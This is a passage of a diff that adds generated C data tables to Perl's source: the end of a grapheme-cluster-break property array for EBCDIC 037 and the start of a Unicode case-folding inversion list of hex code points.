+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_Other,
+	GCB_V,
+	GCB_Other,
+	GCB_T,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Prepend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Prepend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Prepend,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Prepend,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Prepend,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Control,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Regional_Indicator,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Modifier,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base_GAZ,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Control,
+	GCB_Extend,
+	GCB_Control,
+	GCB_Extend,
+	GCB_Control,
+	GCB_Other
+};
+
+#   endif	/* EBCDIC 037 */
+
+#endif	/* defined(PERL_IN_REGEXEC_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV _Perl_IVCF_invlist[] = { /* for ASCII/Latin1 */
+	1289,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x61,
+	0x6B,
+	0x6C,
+	0x73,
+	0x74,
 	0x7B,
+	0xDF,
+	0xE0,
+	0xE5,
+	0xE6,
+	0xF7,
+	0xF8,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x149,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x17F,
+	0x180,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19A,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DD,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F0,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x250,
+	0x251,
+	0x252,
+	0x253,
+	0x254,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25C,
+	0x25D,
+	0x260,
+	0x261,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x266,
+	0x267,
+	0x268,
+	0x269,
+	0x26A,
+	0x26B,
+	0x26C,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x272,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x288,
+	0x289,
+	0x28A,
+	0x28C,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29E,
+	0x29F,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3AD,
+	0x3B0,
+	0x3B1,
+	0x3B2,
+	0x3B3,
+	0x3B5,
+	0x3B6,
+	0x3B8,
+	0x3B9,
+	0x3BA,
+	0x3BB,
+	0x3BC,
+	0x3BD,
+	0x3C0,
+	0x3C1,
+	0x3C2,
+	0x3C3,
+	0x3C4,
+	0x3C6,
+	0x3C7,
+	0x3C9,
+	0x3CA,
+	0x3CC,
+	0x3CD,
+	0x3CF,
+	0x3D7,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F0,
+	0x3F2,
+	0x3F3,
+	0x3F4,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x432,
+	0x433,
+	0x434,
+	0x435,
+	0x43E,
+	0x43F,
+	0x441,
+	0x442,
+	0x443,
+	0x44A,
+	0x44B,
+	0x450,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4CF,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x587,
+	0x13A0,
+	0x13F0,
+	0x13F6,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E96,
+	0x1E9E,
+	0x1E9F,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F00,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F72,
+	0x1F76,
+	0x1F78,
+	0x1F7A,
+	0x1F7C,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
+	0x1FBC,
+	0x1FBD,
+	0x1FC3,
+	0x1FC4,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD2,
+	0x1FD3,
+	0x1FD4,
+	0x1FE0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FF3,
+	0x1FF4,
+	0x1FFC,
+	0x1FFD,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C66,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
